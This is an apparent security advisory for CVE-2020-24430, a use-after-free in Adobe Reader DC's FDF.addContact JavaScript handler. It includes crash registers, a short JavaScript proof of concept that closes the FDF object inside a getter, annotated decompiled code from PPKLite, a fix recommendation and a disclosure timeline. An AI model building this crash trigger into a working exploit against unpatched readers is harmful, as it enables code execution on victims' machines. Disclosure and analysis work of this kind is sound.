CVE: CVE-2020-24430
Tested Versions:
- Adobe Reader DC 2020.012.20041
Product URL(s):
Description of the vulnerability
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).
There is an UAF bug when Adobe Acrobat DC executes javascript related to the FDF.addContact
function
The following is the crash context (with page heap enabled):
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=004fb7bc ecx=1ceeafd0 edx=0030d000 esi=1ceeafd0 edi=7e476eb8
eip=6301132a esp=004fb5ec ebp=004fb608 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
Acrobat!DllCanUnloadNow+0x6153a:
6301132a 8b5f14 mov ebx,dword ptr [edi+14h] ds:002b:7e476ecc=????????
Vulnerability Discovery/Analysis
The following POC would trigger the bug when executed in a privileged / trusted context:
var f = app.newFDF();
var oEntity={firstName:"Fred", lastName:"Smith", fullName:"Fred Smith"};
Object.defineProperties(oEntity, {
'lastName': {
'get': function(){
f.close();
return 'Smith';
}
}
})
f.addContact(oEntity);
The vulnerable PPKLite.api binary used for the analysis has the md5 of:
$ md5sum PPKLite.api
6431d71e45670747c1cfc2cf1145d4b2 PPKLite.api
The vulnerability lies in the handling of the FDF.addContact
function. PPKLite+0x121d20
is invoked to handle the addContact
javascript call. The function obtains an object reference and stores it in v35
prior to parsing the call arguments. While parsing the arguments, the custom javascript getter on lastName
is called which removes the FDF object and invalidates the v35
object reference. The PPKLite+0x121d20
function, however, fails to check the validity of v35
after argument parsing and passes v35
directly to CPPKEncode::addContact
at PPKLite+0x122852
resulting in a crash:
signed __int16 __cdecl s__add_contact(wchar_t *a1, int a2, int a3, int a4)
{
__int16 v5; // si
int v6; // eax
int v7; // eax
wchar_t *v8; // [esp-8h] [ebp-1E0h]
uintptr_t v9; // [esp-4h] [ebp-1DCh]
wchar_t *v10; // [esp+0h] [ebp-1D8h]
char v11; // [esp+14h] [ebp-1C4h]
wchar_t v12[2]; // [esp+1Ch] [ebp-1BCh]
int v13; // [esp+20h] [ebp-1B8h]
int v14; // [esp+24h] [ebp-1B4h]
int *v15; // [esp+28h] [ebp-1B0h]
int v16; // [esp+2Ch] [ebp-1ACh]
int v17; // [esp+30h] [ebp-1A8h]
int v18; // [esp+34h] [ebp-1A4h]
__int16 v19; // [esp+38h] [ebp-1A0h]
__int16 v20; // [esp+3Ah] [ebp-19Eh]
int v21; // [esp+3Ch] [ebp-19Ch]
int v22; // [esp+40h] [ebp-198h]
uintptr_t v23; // [esp+44h] [ebp-194h]
wchar_t *v24; // [esp+48h] [ebp-190h]
wchar_t *v25; // [esp+4Ch] [ebp-18Ch]
int v26; // [esp+58h] [ebp-180h]
wchar_t *v27; // [esp+5Ch] [ebp-17Ch]
int v28; // [esp+60h] [ebp-178h]
int v29; // [esp+64h] [ebp-174h]
wchar_t *v30; // [esp+68h] [ebp-170h]
unsigned int v31; // [esp+6Ch] [ebp-16Ch]
int v32; // [esp+70h] [ebp-168h]
wchar_t *v33; // [esp+74h] [ebp-164h]
wchar_t *v34; // [esp+78h] [ebp-160h]
int v35; // [esp+7Ch] [ebp-15Ch]
char v36; // [esp+84h] [ebp-154h]
int v37; // [esp+1D4h] [ebp-4h]
v34 = (wchar_t *)a2;
v28 = a2;
v33 = (wchar_t *)a3;
v29 = a3;
v30 = (wchar_t *)a4;
v26 = a4;
v27 = a1;
if ( (*(int (__cdecl **)(wchar_t *, const wchar_t *))(dword_28605AC0 + 204))(a1, "Dead") )
return (*(int (__cdecl **)(wchar_t *, wchar_t *, _DWORD, signed int, _DWORD))(dword_28605AC0 + 352))(
a1,
v34,
0,
13,
0);
sub_2800D506(&v25, a1);
v37 = 0;
if ( dword_2860775C > *(_DWORD *)(*(_DWORD *)(__readfsdword(0x2Cu) + 4 * TlsIndex) + 4) )
{
sub_2800D934(&dword_2860775C);
if ( dword_2860775C == -1 )
{
LOBYTE(v37) = 1;
word_28607750 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
*(_DWORD *)(gCoreHFT + 20),
"Batch");
word_28607752 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
*(_DWORD *)(gCoreHFT + 20),
"Exec");
word_28607754 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
*(_DWORD *)(gCoreHFT + 20),
"Console");
word_28607756 = (*(int (__thiscall **)(_DWORD, const wchar_t *))(gCoreHFT + 20))(
*(_DWORD *)(gCoreHFT + 20),
"Exec");
dword_28607758 = -1;
LOBYTE(v37) = 0;
sub_2800D9AE(&dword_2860775C);
}
}
if ( (*(unsigned __int16 (__cdecl **)(wchar_t *, wchar_t *, _DWORD))(dword_28605AC0 + 408))(v25, &word_28607750, 0) )
{
v6 = (*(int (__cdecl **)(wchar_t *, const wchar_t *))(dword_28605AC0 + 204))(a1, "CosDoc");
CPPKEncode::CPPKEncode(&v35, v6); // obtains the v35 object reference
LOBYTE(v37) = 2;
if ( v35 && (CCosDoc::getRoot(&v35, (int)&v11), CCosObj::getType(&v11) == 6) )
{
v32 = 0;
v14 = 0;
v15 = &v32;
v19 = 0;
v20 = 1;
v31 = 0;
*(_DWORD *)v12 = "oEntity";
v13 = 2;
v16 = 0;
v17 = 0;
v18 = 5;
v21 = 0;
v22 = 0;
if ( !(*(unsigned __int16 (__thiscall **)(_DWORD, wchar_t *, wchar_t *, wchar_t *, unsigned int *, uintptr_t *))(dword_28605AC0 + 368))(
*(_DWORD *)(dword_28605AC0 + 368),
v12,
v25,
v33,
&v31,
&v23) )
{
v10 = v24;
v9 = v23;
v8 = v33;
LABEL_15:
v5 = (*(int (__cdecl **)(wchar_t *, wchar_t *, wchar_t *, uintptr_t, wchar_t *))(dword_28605AC0 + 352))(
a1,
v34,
v8,
v9,
v10);
std::locale::locale((std::locale *)&v36);
goto LABEL_16;
}
v7 = ESObject2ASCab(v32); // invokes the javascript getter function which removes the fdf object and invalidates v35
if ( v7 )
{
LOBYTE(v37) = 3;
CPPKEncode::addContact(&v35, v7); // crashes in this function due to invalid v35
CPPKEncode::setModDate(&v35, 0);
v37 = 2;
(*(void (__cdecl **)(wchar_t *, signed int))(dword_28605AC0 + 116))(v30, 1);
std::locale::locale((std::locale *)&v36);
sub_2800EFC3(&v25);
return 1;
}
v10 = (wchar_t *)"oEntity";
v9 = 1;
}
else
{
v10 = 0;
v9 = 13;
}
v8 = 0;
goto LABEL_15;
}
v5 = (*(int (__cdecl **)(wchar_t *, wchar_t *, wchar_t *, signed int, _DWORD))(dword_28605AC0 + 352))(
a1,
v34,
v33,
11,
0);
LABEL_16:
sub_2800EFC3(&v25);
return v5;
}
With careful memory manipulation. This could result in code execution inside sandbox context.
Conclusion
The PPKLite+0x121d20
function needs to check the validity of the v35 object after argument parsing in order to prevent this UAF vulnerability.
Timeline:
- 2020-08-21 Reported to Vendor, Vendor acknowledged
- 2020-11-03 Vendor patched vulnerability
Vendor Response
The vendor has acknowledged the issue and released an update to address it. The vendor’s advisory can be found here: APSB20-67.